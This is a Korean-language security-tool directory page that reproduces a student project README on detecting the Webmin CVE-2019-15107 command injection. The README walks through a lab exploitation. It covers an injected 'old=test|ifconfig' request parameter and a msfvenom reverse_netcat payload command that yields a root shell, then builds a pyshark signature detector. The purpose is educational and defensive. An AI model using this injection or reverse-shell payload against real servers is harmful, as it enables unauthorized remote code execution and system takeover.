Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
detect-CVE-2019-15107-by-pyshark — 학교 프로젝트 | Kitploit
도구/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Packet Sniffing & AnalysisVulnerability AnalysisExploitationWeb SecurityNetwork SecurityIntrusion DetectionLearning & Education
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

학교 프로젝트

저장소 보기
142년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

detect-CVE-2019-15107-by-pyshark

I. CVE-2019-15107 개요 Webmin은 Unix 시스템 관리를 위한 웹 기반 인터페이스입니다. 모든 웹 브라우저를 사용하여 사용자 계정, Apache, DNS, 파일 공유 등을 설정할 수 있습니다. 2019년 8월 10일, 터키의 사이버 보안 연구원 Özkan Mustafa Akkuş가 DefCon에서 제로데이 취약점을 공개했으며, Akkuş는 취약점 공개 외에도 이 취약점의 자동화된 악용을 위한 Metasploit 모듈을 발표했습니다. 이 취약점은 password_change.cgi 파일의 비밀번호 재설정 기능에서 코드 실행이 발생하여, 입력 인증 없이 제3자가 악성 코드를 실행할 수 있도록 합니다. II. 영향을 받는 버전 이 취약점은 Webmin 1.882부터 1.921까지의 버전에 영향을 미칩니다. 이 취약점을 방지하려면 Webmin을 사용하는 경우 최신 버전인 1.93으로 업데이트해야 합니다. III. 취약점 분석 Webmin에서 "사용자 비밀번호 변경 허용" 기능이 활성화되어 있어야 이 취약점을 악용할 수 있습니다. 이것이 유일한 조건이지만, 많은 Webmin 관리자가 이 기능을 활성화합니다. 이 기능은 사용자가 이전 비밀번호로 새 비밀번호를 설정할 수 있게 합니다. Webmin 애플리케이션 소스 코드에는 주목할 만한 ".cgi" 파일이 몇 개 있습니다. 그중 하나가 password_change.cgi입니다. image

이 파일의 매개변수가 작동하려면 한 가지 요구 사항이 있는데, 바로 "miniserv.conf" 구성 파일의 "passwd_mode" 값이 "2"로 설정되어야 한다는 것입니다.

image

이 시점에서 우리는 이전 비밀번호 확인 과정에서 "|"를 사용하여 /etc/shadow 파일을 읽을 것입니다. 일반적인 비밀번호 변경 명령문의 예: image

아래 그림과 같이 비밀번호 변경 명령문에 "ifconfig"와 같은 간단한 명령어를 추가로 삽입하면 "ipconfig" 명령어가 실행되고 결과가 표시됩니다. image

IV. 배포 모델

  • Ubuntu 머신(victim)에 Webmin 버전 1.920 설치, IP 주소: 192.168.109.128 image

  • Kali 머신(attacker), IP 주소: 192.168.109.131 image

 

  • 이 CVE는 Webmin의 만료된 이전 비밀번호 재설정 기능을 기반으로 실행되므로, victim은 "만료된 비밀번호를 가진 사용자에게 새 비밀번호를 입력하도록 요청" 모드로 Webmin을 설정해야 합니다. image

V. CVE 취약점 악용

  • 첫 번째 단계로, attacker 머신은 Burp Suite를 사용하여 Webmin에서 비밀번호를 변경할 때 전송되는 요청을 링크(192.168.109.128:10000/password_change.cgi, victim IP)에서 캡처합니다. image

 

  • 그런 다음 attacker 머신은 이 요청을 Burp Suite의 Repeater 탭으로 보내 오류를 테스트합니다. image

  • Attacker는 캡처한 요청 패킷에서 일부 정보를 수정합니다. 비밀번호를 변경하려면 HTTP Method가 초기의 GET이 아닌 POST여야 하기 때문입니다. image

 

  • 그런 다음 attacker 머신은 이전 비밀번호에서 변경하는 요청을 victim의 Webmin 서버로 보냅니다: "user=test&pam=&old=test&new1=test2&new2=test2" image

  • 요청을 보내면 "현재 비밀번호가 일치하지 않습니다(The current password is incorrect)"라는 메시지를 받게 되므로, 핵심은 "old" 매개변수에 있습니다.

  • 다음으로, "old" 매개변수 뒤에 ifconfig와 같은 기본 명령어를 삽입하여 서버가 이전 비밀번호를 확인할 때 삽입한 명령어를 함께 실행하도록 시도합니다. 예: "user=test&pam=&old=test|ifconfig&new1=test2&new2=test2" image

  • 위와 마찬가지로 서버가 이전 비밀번호를 확인하면 여전히 틀리지만, 비밀번호 확인 후 "ifconfig" 명령어가 실행되어 결과가 표시됩니다.

  • 그런 다음, root 권한을 탈취하기 위해 Metasploit 프레임워크를 사용하여 페이로드를 생성하고 victim의 Webmin 서버로 전송하여 셸 세션을 받습니다. "msfvenom -p cmd/unix/reverse_netcat lhost= lport=" image

  • 다음으로, 페이로드를 복사하여 Burp Suite의 요청에 삽입합니다. image

 

  • 페이로드가 포함된 요청을 Webmin 서버로 전송하면 victim 머신이 리버스 셸에 감염됩니다. Attacker 머신은 피해자 머신(IP: 192.168.109.128 port 37218)으로부터 셸 세션을 받습니다. image

  • 이로써 이 CVE 취약점을 통해 root 권한을 탈취했습니다. image

VI. 공격 시그니처 식별

  • Wireshark를 사용하여 네트워크 계층의 패킷을 캡처합니다. image

  • 이 CVE를 악용하기 위해 attacker는 /password_change.cgi 링크를 통해 HTTP의 POST Method로 악성 페이로드가 포함된 요청을 보내야 하므로, Wireshark에서 캡처한 HTTP 패킷을 분석해야 합니다. image

  • Webmin 서버가 변경하려는 이전 비밀번호를 확인하는 과정에서 "ifconfig" 명령어가 삽입된 것을 볼 수 있습니다. image image

 

  • 따라서 이 CVE의 시그니처는 /password_change.cgi 링크를 통한 비밀번호 변경 과정에서 전달되는 매개변수입니다. "user=test&pam=&old=test | <attacker가 실행하려는 명령어> &new1=test2&new2=test2" VII. CVE-2019-15107 공격 탐지 도구 구축

  • 위에서 분석한 바와 같이, attacker가 이 CVE를 악용하려면 "old" 매개변수("이전 비밀번호")에 명령어를 삽입해야 합니다. image

  • 이 CVE 취약점을 기반으로 명령어를 삽입하려는 사람들을 탐지하려면 "pyshark" 도구를 사용하여 전송되는 HTTP 패킷을 캡처하고 분석해야 합니다. image

 

  • 캡처된 HTTP 패킷의 데이터는 Hex 형식으로 반환됩니다. "old=" 매개변수와 "|"를 기반으로 누군가 이 CVE를 악용하려는 시도를 감지할 수 있습니다. checkPayload 함수는 HTTP 패킷에 문제가 있는지 확인합니다. image

  • 그 다음, 문제가 있는 HTTP 패킷이 식별되면 getCommand 함수가 attacker가 실행 중인 명령어를 출력합니다. image

  • 패킷 캡처 및 분석 과정은 .csv 파일로 기록됩니다. image

VIII. 프로그램 데모

  • Attacker가 공격을 수행하면 프로그램이 실시간으로 경고합니다. image

  • 프로그램을 중지하면 실행 중 캡처된 모든 트래픽(payload http는 hex 형식)이 포함된 .csv 파일이 기록됩니다. image

  • 프로그램은 위험 경고 로그도 기록합니다. image

IX. 결론 학습 과정과 수업 실습을 통해 악성 코드 분석 및 이해 과정을 어느 정도 이해할 수 있었습니다. CVE-2019-15107 취약점을 악용하고 탐지 프로그램을 구축함으로써 배운 지식을 시그니처 기반 취약점 탐지 프로그램 분석 및 구축에 적용할 수 있었으며, 이를 통해 분석, 탐지, 정보 처리 능력과 네트워크 보안 모니터링 역량을 향상시킬 수 있었습니다.

도구 다운로드